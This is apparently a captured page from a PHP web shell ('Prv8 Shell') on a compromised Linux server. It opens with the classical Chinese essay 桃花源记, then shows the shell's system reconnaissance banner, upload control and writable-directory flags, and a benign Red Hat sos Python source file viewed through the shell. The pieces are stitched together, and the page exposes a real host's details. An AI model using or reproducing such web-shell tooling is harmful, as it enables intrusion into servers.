晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /lib/python3.6/site-packages/sos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.6/site-packages/sos/__init__.py
# Copyright 2010 Red Hat, Inc.
# Author: Adam Stokes <astokes@fedoraproject.org>

# This file is part of the sos project: https://github.com/sosreport/sos
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# version 2 of the GNU General Public License.
#
# See the LICENSE file in the source distribution for further information.


"""
This module houses the i18n setup and message function. The default is to use
gettext to internationalize messages.
"""
__version__ = "4.8.2"

import os
import sys
import gettext

from argparse import ArgumentParser
from sos.options import SosListOption

gettext_dir = "/usr/share/locale"
gettext_app = "sos"
gettext.bindtextdomain(gettext_app, gettext_dir)


def _default(msg):
    return gettext.dgettext(gettext_app, msg)


_sos = _default


class SoS():
    """Main entrypoint for sos from the command line

    Upon intialization, this class loads the basic option parser which will
    include the options shared by support components/subcommands. This is also
    where all subcommands present in the local installation are discovered,
    loaded, and if a matching one is found, intialized.
    """

    def __init__(self, args):
        self.cmdline = args
        # define the local subcommands that exist on the system
        # first import the necessary module, then add an entry to the dict that
        # follows the tuple format (class, [aliases]), where aliases is a list
        # of shorthand names to accept in place of the full subcommand
        # if no aliases are desired, pass an empty list
        import sos.report
        import sos.cleaner
        import sos.help
        self._components = {
            'report': (sos.report.SoSReport, ['rep']),
            'clean': (sos.cleaner.SoSCleaner, ['cleaner', 'mask']),
            'help': (sos.help.SoSHelper, [])
        }
        # some distros do not want pexpect as a default dep, so try to load
        # collector here, and if it fails add an entry that implies it is at
        # least present on this installation
        try:
            import sos.collector
            self._components['collect'] = (sos.collector.SoSCollector,
                                           ['collector'])
        except ModuleNotFoundError as err:
            import sos.missing
            if 'sos.collector' in str(err.msg):
                # is not locally installed - packaged separately
                self._components['collect'] = (sos.missing.MissingCollect, [])
            elif 'pexpect' in str(err.msg):
                # cannot be imported due to missing the pexpect dep
                self._components['collect'] = (sos.missing.MissingPexpect, [])
            else:
                # we failed elsewhere, re-raise the exception
                raise
        # build the top-level parser
        _com_string = ''
        for com, value in self._components.items():
            aliases = value[1]
            aliases.insert(0, com)
            _com = ', '.join(aliases)
            desc = value[0].desc
            _com_string += (f"\t{_com:<30}{desc}\n")
        usage_string = ("%(prog)s <component> [options]\n\n"
                        "Available components:\n")
        usage_string = usage_string + _com_string
        epilog = "See `sos <component> --help` for more information"
        self.parser = ArgumentParser(usage=usage_string, epilog=epilog)
        self.parser.register('action', 'extend', SosListOption)
        # set the component subparsers
        self.subparsers = self.parser.add_subparsers(
            dest='component',
            metavar='component',
            help='sos component to run'
        )
        self.subparsers.required = True
        # now build the parser for each component.
        # this needs to be done here, as otherwise --help will be unavailable
        # for the component subparsers
        for comp, value in self._components.items():
            _com_subparser = self.subparsers.add_parser(
                comp,
                aliases=value[1],
                prog=f"sos {comp}"
            )
            _com_subparser.usage = f"sos {comp} [options]"
            _com_subparser.register('action', 'extend', SosListOption)
            self._add_common_options(_com_subparser)
            value[0].add_parser_options(parser=_com_subparser)
            _com_subparser.set_defaults(component=comp)
        self.args = self.parser.parse_args(self.cmdline)
        self._init_component()

    def _add_common_options(self, parser):
        """Adds the options shared across components to the parser
        """
        global_grp = parser.add_argument_group('Global Options')
        global_grp.add_argument("--batch", default=False, action="store_true",
                                help="Do not prompt interactively")
        global_grp.add_argument("--config-file", type=str, action="store",
                                dest="config_file",
                                default="/etc/sos/sos.conf",
                                help="specify alternate configuration file")
        global_grp.add_argument("--debug", action="store_true", dest="debug",
                                help="enable interactive debugging using the "
                                     "python debugger")
        global_grp.add_argument("-q", "--quiet", action="store_true",
                                dest="quiet", default=False,
                                help="only print fatal errors")
        global_grp.add_argument("-s", "--sysroot", action="store",
                                dest="sysroot", default=None,
                                help="system rootdir path (default='/')")
        global_grp.add_argument("--tmp-dir", action="store", dest="tmp_dir",
                                default=None,
                                help="specify alternate temporary directory")
        global_grp.add_argument("-t", "--threads", action="store",
                                dest="threads", default=4, type=int,
                                help="Number of threads to use")
        global_grp.add_argument("-v", "--verbose", action="count",
                                dest="verbosity", default=0,
                                help="increase verbosity")

        global_grp.add_argument('-z', '--compression-type',
                                dest="compression_type",
                                choices=['auto', 'gzip', 'xz'],
                                help="compression technology to use")

        # Group to make tarball encryption (via GPG/password) exclusive
        encrypt_grp = global_grp.add_mutually_exclusive_group()
        encrypt_grp.add_argument("--encrypt", default=False,
                                 action="store_true",
                                 help=("Encrypt the archive, either prompting "
                                       "for a password/key or referencing "
                                       "an environment variable"))
        encrypt_grp.add_argument("--encrypt-key",
                                 help="Encrypt the archive using a GPG "
                                      "key-pair")
        encrypt_grp.add_argument("--encrypt-pass",
                                 help="Encrypt the archive using a password")

    def _init_component(self):
        """Determine which component has been requested by the user, and then
        initialize that component.
        """
        _com = self.args.component
        if _com not in self._components:
            print(f"Unknown subcommand '{_com}' specified")
        try:
            _to_load = self._components[_com][0]
            if _to_load.root_required and not os.getuid() == 0:
                raise Exception("Component must be run with root privileges")
            self._component = _to_load(self.parser, self.args, self.cmdline)

        except Exception as err:
            print(f"Could not initialize '{_com}': {err}")
            if self.args.debug:
                raise err
            sys.exit(1)

    def execute(self):
        self._component.execute()

# vim: set et ts=4 sw=4 :

haha - 2025